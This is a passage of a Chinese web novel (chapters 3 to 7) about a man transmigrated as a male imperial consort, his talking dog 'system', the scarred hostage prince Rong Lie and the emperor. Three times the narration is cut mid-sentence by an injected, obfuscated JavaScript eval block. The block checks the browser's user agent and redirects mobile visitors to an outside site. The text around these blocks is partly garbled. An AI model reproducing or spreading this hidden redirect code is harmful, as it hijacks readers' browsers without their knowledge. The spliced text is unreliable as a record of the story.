围观曲月翎先是一言不发击退丽妃,接着骂语迭出逼走二皇子的系统:“……” 系统佩服得五体投地,想夸赞他:“宿主,您……” “别说没用的废话。”曲月翎却又捏住他的狗嘴,压低声音布置新任务,“等会儿我会把你放下,你找个机会偷偷往冷宫的方向跑,我会跟过去的。” 系统点点狗头。 曲月翎便把它放到腿边,再让宫人们落轿。 无人注意有只黑毛小狗偷偷从座上跳下,跑向了宫廷阴冷之处。 他们只亦步亦趋跟在曲月翎身后,像是追随着夜里高悬的明月。 而容冽伏在冰冷的地砖上,仰头望着那轮月一步一步朝自己走来,最后对他伸出手,柔声道:“三殿下,你还好吗?” 容冽没有动。 “……三殿下?” 曲月翎以为地上的少年被欺负懵了,将嗓音放得更轻后又唤了一声。 这回少年终于给了他点反应,将自己的手缓缓抬起,放入曲月翎掌心。 那双手的肤色比曲月翎略深一些,骨节微凸,手背上还有几处渗着血点的擦伤,掌心的温度炽热,透出与他名字截然相反的滚滚灼烈,发烫般地通过接触的肌肤传递给曲月翎。 他回握住少年的手,想把容冽拉起来,却不明白为什么少年看上去颀长瘦削,结果一使劲自己就往前倾,不仅没把人拉起来,还差点扑到少年身上,最后还是捏紧了容冽的手掌借力一撑才站稳身形。 ……这孩子可真沉啊。 曲月翎讪笑两声,又见容冽墨发垂散,将脸遮去大半,只露出一只点漆般幽邃的暗深眼瞳,无声而阴郁地望着自己,便下意识伸手,想把那些散发往后拨,检查看看少年还有没有其他地方受伤,毕竟他记得容冽刚才是被二皇子踩着脑袋压在地上的。 但就在曲月翎的指尖要碰到那些发丝时,容冽忽然挥臂推了他一把。 曲月翎踉跄几步,摇摇晃晃地就要倒下,宫人们见状齐齐惊呼着“翎公子”冲上前,接住了曲月翎。 待曲月翎扶着近侍太监的胳膊重新站定后,容冽已经跑走了。 不过没有跑远,他躲到了一棵柳树的背后,站在晦暗的树影里,又用那只深黑的眼幽幽凝望着曲月翎,似乎是在看他究竟有没有摔倒。 “真是好心没好报。”扶住曲月翎的近侍太监谭乐忍不住说,“翎公子,您别管他了。” 宫人们你一言我一语,说容冽性情冷漠孤僻,难以相处,脸上还有一道可怖吓人的长疤,和宫中所有皇子公主们都关系不睦,让曲月翎少和他来往。 曲月翎听到这儿,怔了怔:“……长疤?” “是。”谭乐道,“那道疤在他右脸,刚刚被头发遮去了,您才没瞧见吧。” 曲月翎闻言不由抬眸,再度望向柳树后的容冽。 此时一阵清风袭来,正巧拂开少年脸畔碎发,让曲月翎得以窥见了那道上及前额,下至颧骨,位居眼眶中央,犹如扩大的竖瞳一般,阴邪骇异的暗色长疤。 宫人们瞄见,纷纷悚然吸气。 曲月翎却微微蹙眉,心中迷惑:这疤哪里吓人了? 4. 第 4 章 他上辈子做完心脏移植手术后,胸口处留下的伤疤比容冽脸上的疤恐怖多了。 只是古代常有“身体发肤,受之父母,不敢毁伤”的观念,也觉得脸上有疤会影响自己的面相命格,严重的甚至会刑克亲人,而这有疤之人若生在皇室,那基本等同于失去皇位继承权了,难怪容冽会被送来异国当质子。 “翎公子。”谭乐搀扶着曲月翎的手臂说,“外面日头毒辣,奴扶您回轿子上歇着吧。” 曲月翎应了一声“好”,转身回轿前,他又回了一次头。 但树下少年已没了踪影。 “我刚刚见他手上有伤。”曲月翎驻足顿步,侧首对谭乐道,“你去我库房里拿两盒愈伤药膏,送去给他吧。” 虽然一开始,他是由于将容冽错认成男主才出手相助,可即便曲月翎早就知道容冽不是男主,碰上刚刚那种情况,他还是会选择出手帮忙。 一是不忍心对霸凌行为视而不见,二是做这件事对自己也有好处——他要在皇帝和男主梁初景那捏的是慈父人设,如果他看到容冽受欺也无动于衷,那这个人设还有什么说服力? 两盒愈伤药膏要不了几个钱,而且从系统那里,曲月翎知晓了原主“受宠”的真正秘密,只要他不干刺杀皇帝或是预谋造反的杀头大罪,皇帝是绝对不会厌弃冷落他的,二皇子也并非皇帝最喜欢的儿子,曲月翎不怕得罪他。 但宫人们不知道曲月翎心中的弯弯绕绕。 谭乐只懂为他抱不平:“可是翎公子,他都没记着您的好心好意,方才还推了您,差点害您险些摔倒……” 曲月翎却不觉得这有什么的。 他猜测容冽那时下意识推开自己,应该是因为少年不想被他拨开头发,露出墨发下的疤痕。 这种心情不难理解。 毕竟从宫人们的话中就能明白,容冽平日里因这道长疤肯定没少遭人冷眼,今天又受了二皇子欺负,心情一定绷得很紧,会出现这种应激反应太正常不过了。 曲月翎说到底也不是刚满十八岁的青年,他年轻时的刺头棱角早被几年的社畜牛马光阴给磨圆了。 所以他朝谭乐摆摆手:“容殿下还是个孩子,和他计较这些做什么?” “再者……” 曲月翎话音微停,弯唇笑道:“那孩子劲劲的,像我……” ——弟弟。 最后这两个字曲月翎没完整说出,因为原身是小宛最小的皇子,他没有弟弟。 于是他的话在宫人们听来,就是越妃在夸容殿下像自己——别说,那股子倔劲确实有点儿像。 容冽一个被母国放弃,再无登基可能的疤脸质子,早该收起那副天潢贵胄的傲骨了,但他始终不愿低头折节,不知哪来的胆量和底气,纵使常被欺侮,也绝不肯在二皇子面前收敛半寸锋芒。 而曲月翎呢? 他假扮成女子,顶替亲姐曲月珠嫁入卫祁皇室,被揭穿后当谦逊低调些,可他偏偏在宫中张扬至极,脾性娇纵,乖戾不驯,简直人见人厌,浑然不考虑万一日后自己失势了,又该怎么在宫内求生。 真不明白陛下究竟为何如此纵容着他……哦,不,越妃今日没有胡乱傅粉施朱糟蹋自己的脸蛋了。 倘若陛下曾经见过越妃不施粉黛的模样,那越妃深得帝心的原因就不难猜了。 想到这里,抬轿的宫人忍不住悄悄抬眼,想透过轿帘,窥望一眼青年的模样。谁知就是这一瞥,宫人们发现青年软倒在轿里,不知晕倒多久了。 连曲月翎都不知道自己是何时晕过去的。 宫人们手忙脚乱把他抬回栖月宫,又匆匆去请太医,忙得连狗都来不及找了。 等到曲月翎恢复了意识醒来,天都已经黑了,屋内飘着一阵浓郁清苦的药味。 “……爱妃?” 一道温柔儒雅的男音将曲月翎的视线从头顶碧绿色的帷幔上拉回。 听到这个叫人惊悚的称呼,曲月翎也蓦地扭头望向身侧,一个身穿金白帝袍,面容俊美,周身隐有威仪之气的男人坐在床侧,视线紧紧凝着他的脸庞,目光恍惚中又透出些怀念和痴迷的情绪。 “爱妃,你醒了?”见曲月翎没有反应,他又问了一遍,胳膊也抬了起来,像是想握住曲月翎的手,“身子可还有哪里不适?” 曲月翎轻轻张唇:“……陛下?” 曲月翎的嗓音秀润,声线柔和,出口的词句都像情人絮絮低语时的呢喃,娓娓动听,但始终与女子不同。 所以皇帝梁怀徽听清他的声音后,眼中的恍惚立刻就消失了,刚举起了胳膊也重新放了下去,只隔着被子轻轻拍了拍曲月翎:“是朕,朕今日听宫人们说你晕倒了,就立刻过来看你了。不过月翎……” “你入宫小半月了,朕还是第一次看清你的脸,你长得……” 话至中途,梁怀徽的视线又飘回曲月翎脸上,重新变得恍惚:“真像你姐姐啊。” ——这便是原身圣恩不断的倚仗。 梁怀徽登基之前,曾在小宛有过一段质子经历,他在小宛与假扮成平民女子的曲月翎的亲姐姐曲月珠相识相恋,并许诺日后若能回卫祁,必娶曲月珠为妻;若不能回卫祁,那就在草原上与曲月珠携手一生。 可那时的梁怀徽早已有了皇子妃和侧妃,甚至都儿女双全了,因此梁怀徽回卫祁后,并未践诺。 直至小宛新帝登基,为稳固皇位与卫祁要联姻时,梁怀徽才知晓曲月珠原来是小宛的公主。 他欣喜万分,以为这是上天赐予他和曲月珠破镜重圆的良机,便同意联姻,给了曲月珠妃位之尊,还以民间的娶妻之礼,让曲月珠凤冠霞帔进宫。 不料“新婚夜”红盖头一掀,新娘成了新郎——来联姻的“公主”竟是曲月珠的亲弟弟曲月翎! 梁怀徽本欲发怒,但曲月翎拿出了曲月珠的亲笔血书。 曲月珠在血书中写道:自己对梁怀徽相思成疾,病入膏肓已无药可医,可她依然深爱着徽郎,生死不改,临终之际,她唯一放心不下的人就是胞弟曲月翎。 曲月翎自幼患有心疾,体弱多病,而小宛皇室斗争严重,她担心弟弟留在小宛会被他们狠毒的皇兄弄死,正好弟弟一直以来也默默深爱着徽郎,所以她想让弟弟代替自己入宫,让弟弟接替自己继续爱着徽郎,也恳请徽郎善待她唯一的弟弟,无论弟弟做了什么坏事,都请徽郎念在她的份上,留弟弟一命。 梁怀徽原本就对曲月珠深怀愧疚,再一看这字字泣血的临终血书,哪还发得出火呢?只能依照曲月珠的遗书,对曲月翎百般纵容。 然而他能给曲月翎无上的荣宠,却给不了曲月翎肌肤相贴的临幸,毕竟……曲月翎再美,也始终是个男人,更别说曲月翎之前爱用脂粉糟蹋自己的好脸,根本看不出美或不美。 梁怀徽实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634808|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接受不了男人,曲月翎默不作声时,他还能看着曲月翎的脸骗骗自己,曲月翎一说话…… “月珠她是个好姑娘……是朕负了她。但月翎,你放心,朕绝不、绝不……”梁怀徽咬咬牙,深吸一口气狠心道,“绝不再负你!” 曲月翎:“……” 曲月翎望着皇帝梁怀徽嘴角扯出的僵硬笑容,真想嘴贱毒舌来一句“要不您还是负了我吧,看您经验丰富,也不差再渣这一回”,但也只能是想想了,他还得靠皇帝给自己撑腰在宫中生活呢。 再说了,皇帝对他没兴趣也好,有兴趣他才得苦恼呢,他还搞不懂曲月珠为什么会爱上这样一个渣男,甚至为了渣男相思泣血而亡。 而这个渣男此刻还自诩深情温柔地“安慰”着曲月翎:“朕知道你今日受了委屈,丽妃她性子直,脾气虽不太好,可心地不坏,孤已将她禁足,你也别怪她了。哦,还有容冽,他冲撞了你,害你摔倒,朕也罚过他了……” “……啊?”曲月翎听完就愣住了,连忙解释,“陛下,丽妃姐姐她今日只是来我宫里坐了会儿,和我说了说话,我们……” ……最多还摸了下手。 搞不清楚谁绿谁,不过现在他们俩都坐在绿顶之下,很是应景。 但曲月翎也一咬牙,嘴硬道:“我们别的什么也没做,陛下为何要禁足姐姐?还有容殿下,我今日并未摔倒,何来他害我一说?我晕倒是受了暑气,和旁人无关。” 梁怀徽却摇头叹道:“朕的月翎真是心善,可朕答应了你姐姐,立誓一定会善待你。太医说你这身体得静养,受不得气,往后你再受什么委屈,只管来告诉朕,朕绝不姑息!所以你也不必再为他们说好话了,安心养病便是,朕……” 说到末尾,皇帝梁怀徽下意识又想去牵曲月翎的手,大概他安慰别的妃子时也常这么做,都成习惯了。 可曲月翎是男子,所以快碰上时,他又硬生生止住了动作,改为隔着被子拍拍曲月翎,再像是下定了什么重要决心,又咬咬牙说:“朕今晚陪你!” “咳……咳咳!” 曲月翎被他的话吓得呛到,霎时捂着心口咳了起来,双颊因窒闷泛起一层病态的潮红。 “月翎,你怎么了?又不舒服了吗?” 见状,梁怀徽也被曲月翎吓到了,皱着眉就要喊太医。 曲月翎赶紧摆手,佯装虚弱轻声道:“是有些不太舒服……陛下,我把病气过给了您,您今晚还是去别的姐姐那吧。” 梁怀徽瞬间也抚着心口松了口气:“唉……朕的月翎还是如此体贴。也罢,你对朕一往情深,孤今晚留在这,怕是会让你魂牵梦萦,扰得你睡不好觉。” 曲月翎:“……?” 这皇帝什么毛病? 喜欢演戏,装深情装上瘾了是吗? 曲月翎听着梁怀徽的话,觉得他才要去找太医看看脑子。 不过梁怀徽是真认为自己情深似海,怕曲月翎吃醋,他还体贴道:“朕今晚也不去别人那儿了,就回紫宸殿批折子。月翎,你好好休息,朕明日再来看你。” 说完,梁怀徽擦着额角的细汗走了。 他离开后,曲月翎也擦了擦额角无语的虚汗,准备把系统叫出来打听一下自己白天晕倒后都发生了什么。 等等…… 曲月翎记起来了,自己的狗系统好像还在冷宫里等着他去接呢! 5. 第 5 章 “完了!” 曲月翎立马坐直身体,惊呼道:“我的狗!” “在这呢。” 熟悉的狗叫声幽幽从床底传来。 曲月翎扒着床沿弯腰,对上系统的一双黑豆眼:“系统?” 系统幽怨地盯着他:“你试过在冷宫从白天等到天黑的滋味吗?” “哈哈,肯定没有啊。”曲月翎说完扎心的话,又问系统,“你自己跑回来的?” “是,还没被任何宫人发现,方便你明天去‘找’我。”系统说,“另外我还给你带回来一个好消息,我听三皇子的宫人们说,三皇子最近不知道怎么回事,好像是病了,每晚都会被噩梦惊醒,憔悴得厉害,太医开的安神汤吃了也不见好。” “不错不错,你还是很有用的嘛。”曲月翎听懂了系统的意思,夸赞它道,“明天一早我就拿找你当借口,去冷宫‘偶遇’生病的三皇子,再趁皇帝明天来看我时提一嘴冷宫阴气重,我心疼三皇子在那老是生病……” 系统接过曲月翎的话:“然后你就可以准备喜提好大儿了。” “对对对,系统,你立了大功,我却没出什么力。”曲月翎认真反省自己今天犯下的错误,“好狗宝,明天我自罚三杯中药,给你赔个不是啊,哈哈!” 系统:“……” 系统和他商量:“赔不是就不用了,宿主,你能给我换个名吗?别叫我‘双马尾’了。” “为什么?”曲月翎趴在床榻上,用指尖拨拨系统两个黑发揪似的长耳朵问,“狗宝,这个名字很衬你啊。” 系统嚷嚷:“可我是公的啊。” 但曲月翎说:“你一个实体系统,哪分什么公的母的?狗才分公母,你是狗吗?你不是,所以你就叫这个名了。” 系统:“…………” 系统还想再试图挣扎一下,曲月翎却眼疾手快捏住他的狗嘴:“狗宝,夜色已深,我们该睡觉了嗷,你不能再狗叫扰民了。” 细狗腿拧不过细人胳膊,系统只能绝望地闭上眼睛,接受这个一点都不衬它的名字。 然而闭眼没几秒,嘴上说着不能再狗叫扰民的曲月翎又讲起了话,“老登皇帝应该早就想找理由罚一罚丽妃,将她禁足换个清静了吧?那个质子却是真的倒霉,无端被我牵连受罚,还好他不是男主,不然怕是会被记仇,别好感度都没刷上去呢,恨意值就先点亮了。” “是的,在你取代丽妃成为后宫万人嫌以前,她是宫里最能闹腾的,又很爱吃醋,皇帝前夜去了哪个嫔妃宫里,她第二天就要找过去,所以皇帝早就想禁足她了。”系统用睡意朦胧的声音回答曲月翎,“至于容冽……他一个无权无势的质子,就算记恨上你,又能拿你怎么办?而且你今天不也从二皇子那救了他一回吗?算两清了,别想太多,睡吧。” “也是。” 曲月翎不想了,拉上被子睡觉。 第二天他和系统起了个大早,一人一狗兵分两路,系统趁宫人们不注意偷溜出栖月宫,往冷宫的方向跑去,曲月翎则等待片刻,然后对宫人说爱犬一夜未归,他要去找狗。 出门时,却在殿门口碰见了质子容冽。 少年一袭黑衣,像一抹暗影幽幽杵在墙边,冷漠疏离,仿佛稍一靠近,就能闻到那种雨后青苔的湿凉气息。 瞧见曲月翎现身,他沉默着走近,向曲月翎垂首行礼。 问了宫人才知道皇帝对他的惩罚是停三个月月俸,并让他每天来给曲月翎请安问好。 曲月翎听完就在心里骂:“老登真是闲的没事干。” 梁怀徽曾经也是质子,他应当知道质子在异国生活的不易,可他一当皇帝就忘本,自己淋过雨就要把其他人的伞都撕个稀巴烂。 不过转念一想,曲月翎便明白自己大概跟丽妃一样,都被狗皇帝给整了——梁怀徽这是怕自己像原主那样整天去缠他,给他找点事做呢。 这招拿来对付他还正好,毕竟他是个男的,容冽就算与他日日接触也不会有什么闲话传出。 而他若真是原主那种性格,天天看着容冽这么一个寡言孤僻的阴郁少年在自己面前晃悠,日子久了肯定会烦,如果哪天气急发了场火,狗皇帝就有理由禁他的足,再宽宥对容冽的惩罚了。 说到底不就苦一苦容冽,骂名他曲月翎来背,美名和清静梁怀徽全拿走呗。 好你个狗皇帝。 曲月翎才不上梁怀徽的当。 “三殿下。”他在容冽面前停下,弯唇问,“ 今日手伤可好些了?” “谢越妃娘娘赐的药膏,已经好了。” 容冽仍旧垂着头回话,似乎不想抬起脸让人直视自己眼睛上的那道长疤。 曲月翎昨天遇见他时他没开口说过一句话,今日一出声,曲月翎才发现他的嗓音低沉硬涩,透着变声期特有的沙哑,就如他的名字一般——冷峭寒冽。 哪怕此刻在说认错的服软之语,也会给人一种倔强不屈的偏执感。 他从袖带里掏出一个瓷白的小药瓶:“这是臣家乡的药油,专治磕碰淤伤,臣昨日不该……” “我昨天没有受伤。”曲月翎摆手轻声打断他,“陛下宠爱我,却不想因此害你受了无妄之灾,实在是对不住。” 说着,曲月翎接过那个药油瓶子,打开倒出一点抹在指尖,再伸手摸向容冽的脸庞。 少年见状,果然本能地往后躲避。 可他背后就是宫墙,避无可避。 容冽只能抬眸望向眼前的青年。 而青年将药油缓缓揉开在他颧骨的淤青处——那是昨天被二皇子踩出的伤。 一股热意随着揉弄慢慢逸散,说不清是青年指腹的温度,还是药油本身的灼烫。 “往后容殿下就唤我‘翎公子’或是‘阿翎哥哥’吧。”曲月翎给他脸上的淤青擦完药油,就把小药瓶收起来了,表示自己接受了容冽的歉礼,再笑着说,“晨露湿重,容殿下快回去吧。” 容冽垂着眼睫没有应声。 曲月翎也不在意,只以为容冽单纯是性格内向不爱说话而已,毕竟一个被长期霸凌的小孩子,性格能开朗就见鬼了,和他计较什么呢? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634809|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >但当曲月翎坐上轿辇后,他忽然听见了一声很轻的“阿翎哥哥”。 曲月翎拨开轿帘回首望去,果真看到容冽重新抬起了脸庞,一双黑眸静静凝视着自己,眼底看不出情绪。 “哥哥是在找双马尾吗?”少年抬起手臂,指向西北角落,“我看到它往那边去了。” 嗯? 系统不是说它跑得快吗? 怎么还被人发现踪影了呢? 好在问题不大,只要系统没被人逮住就不会影响他们的计划,甚至容冽给出的方位信息还省了他不少功夫。 于是曲月翎向容冽道了声谢,让宫人们往西北方向走了。 “翎公子。” 宫人们在曲月翎的要求下,如今都这么喊他,不会叫什么令曲月翎头皮发麻的“越妃娘娘”,说:“再往前去就是冷宫了。” 曲月翎当即道:“双马尾是我的挚爱,别说是区区冷宫,就算是刀山火海,我也会为它去。” 他都把话说到这份上了,宫人们自然不敢拦曲月翎。 一行人来到冷门门口,刚落轿,就听到一道温婉如水的女声在院门后响起:“这只小狗怎么又来了?咱们这可没有多余的吃食给它呀。” 曲月翎走进去时,恰巧碰到那女子笑着将系统抱起,搂在怀里温柔地抚着脊背。 系统在她怀里吐着舌头,尾巴摇的飞起,把一只舔狗的形象演绎得淋漓尽致,它甚至都没注意到曲月翎来了,一心窝在女子怀中哼唧撒娇。 倒是那女子在曲月翎出现的刹那就抬起了眼眸,双唇微张,怔怔望向来人,被曲月翎的容貌惊得一时失语。 另一个年纪瞧着和容冽差不多,约莫十二三岁,一脸病气的少年此刻也正好从屋内走出:“窈娘……是谁来了?” 被少年唤作“窈娘”的女子很是机敏,她观察着曲月翎身上华贵的翠玉金饰,以及身后乌泱泱的宫人,马上就猜出了他是小狗的主人,便赶紧行了个礼将小狗交给距离她最近的宫人,再跑回少年身旁扶住他,轻声回道:“三殿下,是越妃。” “……越妃?” 三皇子仿佛刚从睡梦中醒来,还没彻底清醒,他呢喃着这两个字,将原先凝着窈娘的视线调转落到曲月翎身上,继而脸色骤然苍白,目光中也泄出难以遮掩的厌恶和恨意。 “滚。” 三皇子先低声骂了一句,随后又提高音量,大声喊道,“你来这里做什么?滚啊!” “……三殿下?” 他的状态把窈娘都吓了一跳,大概他以前从没有过这样情绪失控的情况。 曲月翎也不明白三皇子对自己为什么会有这样浓烈的不满与抗拒,他试图解释:“三殿下,我是来找狗的……” 三皇子睨了一眼宫人们怀里的小黑狗,阴沉着脸,继续赶人:“那现在找到了,就带着你的狗滚!” 曲月翎抱着狗系统满头雾水,被赶出了冷宫。 “在我穿过来之前,原主是不是和三皇子见过,得罪过他啊?”他问系统,“不然三皇子对我意见为什么这么大?” 6. 第 6 章 “没有啊。”系统也很纳闷,“你们俩今天是第一次见面。” 就算曾经见过,三皇子所见的,也应该是曲月翎的另一张“脸”才对,毕竟连系统都不得不承认,那张脸抹上粉时是真白得像鬼,但怎么三皇子如今见了曲月翎正常的脸,却反而更像是见了鬼呢? 不过牛马社畜的工作出现问题了,终究要有一个人背黑锅,不是自己就是同事。 因此原本应该孝顺的好大儿没有了,变成了叛逆的不孝子,坏男人曲月翎马上指责狗系统:“臭狗,都怪你,你身为穿书系统,凭什么不知道剧情啊?你如果知道剧情,那我们能搞不清楚我的好大儿为什么会是这幅嘴脸吗?” 系统:“?” 昨晚还是狗宝,现在就是臭狗了? 为了证明自己不比那群虚拟系统差,系统说:“你且等我在宫里游荡几日,听听八卦。” ——实体系统就这点好,可以在宫里四处晃悠偷听宫人们讲话,还不会令人起疑,尤其它的身份还是“宠妃”的爱犬,除了不长眼的人,没人敢欺负它。 就算想欺负,系统还能跑,它跑得又快,几乎没人追得上。 曲月翎道:“行行行,我今晚也给老登吹吹枕头风,努努力,先把生米筑煮成熟饭再说。” “啊?”系统大惊,“你要侍寝?” “怎么可能?”曲月翎斜乜它一眼,“我的意思是,先让老登把三皇子过继给我做儿子,然后再和他好好培养父子情谊,确保他登基后一定会尊我为太后——是这个生米煮成熟饭。” “但是你放心,贞操诚可贵,爱情价更高,若为剧情顾,二者皆可抛。” “谁都不能阻挡我当上男太后!” 曲月翎坐在轿辇上肃声宣布:“我们在这周结束时,必须取得穿书剧情进展,否则我们俩就都得接受任务业绩不达标的惩罚,喝三杯苦瓜汁。” 系统更惊了:“不是?宿主,这个惩罚是谁规定的?” 曲月翎说:“你。” “我没有。”系统否认,“别胡说!” 曲月翎坚持:“你心里肯定是这么想的,哪有穿书系统会不想惩罚不好好做任务的宿主呢?” 系统:“理是这个理,但为什么我也要喝啊?” “穿书者摸鱼,与系统同罪。”曲月翎在系统又要辩解前熟练地捏住它想辩驳的狗嘴,手动闭麦,再用另一手撩起轿帘,询问宫人,“前面怎么回事?是谁在吵?” 宫人语气犹豫道:“翎公子,似乎又是二殿下和容殿下……” 曲月翎居住的栖月宫位置非常偏,与质子居住的藩客馆几乎就隔了一道宫门,而为了弘扬卫祁国力,让质子感受卫祁的威仪,容冽被皇帝特许,能进入宫和诸位皇子们一起上礼仪和骑射课,所以他下课离宫时,有概率会与曲月翎碰上,却很难与皇子们相遇。 那么现在容冽和二皇子又吵起来了,肯定是二皇子故意在容冽出宫路上堵他,找他麻烦的。 曲月翎听完不由心道:发疯骂人宣泄压力的好机会又来了! 治不了男主,还治不了一个区区炮灰吗? 他早上三皇子那儿碰了一鼻子灰,下午在御花园散心好久也没把心情调整好,穿书工作压力很大,就差喝中药调理了,此时正需要一个发泄对象呢。 “好啊!这小子又撞我手里了。”曲月翎顿时坐直身体和系统说,“我昨天已经放他一马了,他今天却还敢继续霸凌别人,这已经不是一般的坏了,必须要出重拳!” 而曲月翎率领宫人们杀到时,正巧瞧见二皇子举起了拳头,似乎要往容冽脸上打去。 系统见状惊呼:“他也要出重拳了!” 曲月翎立刻扬声制止:“住手——” 他来的突然,这一声也喊的突兀,二皇子被他的声音惊扰,挥拳的动作滞了一瞬,容冽却没受分毫影响,稳稳站在原地,用一记标准的拦门踢踹向二皇子膝盖。 不过或许是容冽武艺不高,这一踢只让二皇子摔到了,并未直接踢断他小腿。 但饶是如此,曲月翎和系统都看得纷纷吸了口凉气。 “啊这……”系统尴尬道,“原来是互殴啊。” “住手!”管他是互殴还是什么,曲月翎都先抱着狗拦到了两人中间,“你们不要再打了!” 二皇子却不听,他捂着膝盖倒在地上,对周围的随从大喝:“你们还愣着干什么?还不快把容冽给我摁住!” 可随从们碍于曲月翎在场,都踌躇着不敢上前。 倒是曲月翎反客为主,对他们招招手,下令道:“你们还愣着干什么?还不快把二殿下给扶起来。” 随从们这次听令把二皇子扶起来了。 二皇子气得胸膛连连起伏:“越妃,又是你……” “二殿下,又是你。” 结果曲月翎也说了和他同样的话,还抢先一步发难道:“昨日你还没告诉我,双马尾年幼不懂事,你为何无缘无故对它下重手,怎么今日又叫我碰见你无缘无故对容三殿下重手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634810|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了呢?” “我说过,我没碰你那小畜生。”二皇子指着被曲月翎挡在身后的少年说,“至于容冽,我和他有账要算!你少管闲事!” 其实曲月翎大可好言好语,通过讲道理把二皇子劝走,但他只想不讲道理,而且讲道理这种事也不是原主会做出的事。 最主要的是:曲月翎真的很想发疯。 毕竟有一句话叫:想成功,先发疯! 于是曲月翎用符合原身人设的语气对二皇子说:“我就要管,你少管我。” “你……” 二皇子瞪大眼睛,被曲月翎的态度和话语噎得一时语塞,大概是没在皇宫里碰见过这种比自己更蛮横的人吧。 而曲月翎乘胜追击,继续道:“二殿下,你说说,你们之间有什么账要算?” 二皇子说:“他往我桌……” 曲月翎不听,自顾自道:“可这天底下又有什么账,是不能一笔勾销的?” 二皇子再说:“他往我桌上扔……” “二殿下,听我一句劝吧。”曲月翎轻弯唇角,那张玉面菩萨般的脸上绽出温柔慈爱的微笑,“毕竟我也是为了你好,我们大家笑一笑,这账就一笔勾销算了吧。” “来——”曲月翎转身望向容冽,“我们都笑笑。” 容冽那张阴郁疏冷的脸上原本没什么表情,但在曲月翎话音落下后,他也微微勾了勾唇角,神情似笑非笑。 “曲月翎!”二皇子见他们无视自己,霎时拔高音量怒吼,“他往我桌上扔死耗子!” 曲月翎捂住耳朵蹙眉回头瞪他:“我又没聋,你又吼那么大声干什么?” 二皇子听完则捂着胸口,比曲月翎更像是患有心疾的病者,身形趔趄两下。 “对了,刚刚没听清。”曲月翎捏捏耳垂放下手臂,仿佛说话说累了般,神情柔柔弱弱的,轻声询问二皇子,“二殿下,你说容三殿下往你桌上扔了什么?” 二皇子咬牙切齿,借随从的搀扶稳住身体道:“死耗子。” 曲月翎捂嘴惊叹:“那很坏了。” 二皇子看曲月翎终于说了句人话,心中怒焰刚熄几分,却听见青年又道:“可容三殿下还是个孩子啊……” “他是孩子?”二皇子面无表情,指着再蹿高一个脑袋就能和曲月翎一样高的容冽问。 “是。”曲月翎点头,“挺像我儿子的。” “……” 二皇子不说话了。 容冽嘴角勾起的弧度也抿平了。 7. 第 7 章 其实二皇子是想继续发火的。 只是他在瞧见容冽笑不出来以后,他就想笑了,因为他发现曲月翎好像把容冽也骂了——敢情曲月翎这张嘴不是仅仅针对他,而是针对所有人啊? 但这件事绝不能笑笑就算了! 于是他和曲月翎争辩道:“简直鬼扯,他算哪门子的孩子?你有这么大的儿子吗?” 而二皇子这一问,让曲月翎想起了男主三皇子梁初景。 梁初景的年纪和容冽差不多大,身高也差不多,就是感觉身形比容冽瘦,果然是在冷宫吃的不好吧? 连容冽这个受人疏远的质子都能长得比他壮实,搞得自己昨天想拉容冽起来,结果却差点跌人身上,把人压坏。 曲月翎不禁长叹一声,失落道:“我挺想有的,可惜儿子不肯认我。” “不过——” “我正好有个比容三殿下还大的儿子。”曲月翎话锋一转,睨着二皇子说,“你不就是吗?” 二皇子:“?” 按照礼法来说,曲月翎既是皇帝的妃子,那他就是二皇子的庶母,曲月翎倒也没错,可二皇子哪受得了这气? 尤其在看到容冽又浅浅勾了下嘴角,好像在嘲讽他时,二皇子更是被气到口不择言了。 他质问曲月翎:“那我是你儿子!容冽又不是!你凭什么站他那边啊?! ” 甚至系统听着都忍不住狗叫了两声:“他说的也不无道理。” 当着这么多人的面,曲月翎不好出声骂系统,只瞪了系统一眼,用眼神很双标地骂他:你究竟是谁的系统,站哪边的? 系统接收到曲月翎的目光,虽然没有脑内沟通功能不知道青年在说什么,但它莫名读懂了曲月翎的意思,缩着狗耳朵不敢再狗叫了。 而训狗大师曲月翎刚制服了狗系统,又接着训二皇子:“因为容三殿下比你年幼啊,他还那么小,不懂事,就算是往你桌上扔了只死耗子,那也肯定不是故意的,是不小心的。” “锋儿啊,爹的好儿子。”曲月翎唤了声二皇子的名,劝他道,“你今天就给爹爹一个面子,原谅容三殿下的不懂事吧。” “放狗屁!”二皇子骂得越来越脏了,“曲月翎,你睁大狗眼瞧瞧容冽,他到底哪小了?而且他扔的不止一只,他每日都往我桌上扔死耗子!他就是故意的!” 话音刚落,一直如幽影般站在曲月翎身后默不作声的容冽也开口了: “我确实是故意的。” 少年正处于变声期的嗓音嘶哑,语速低而缓,透着种说不上来的阴鸷感。 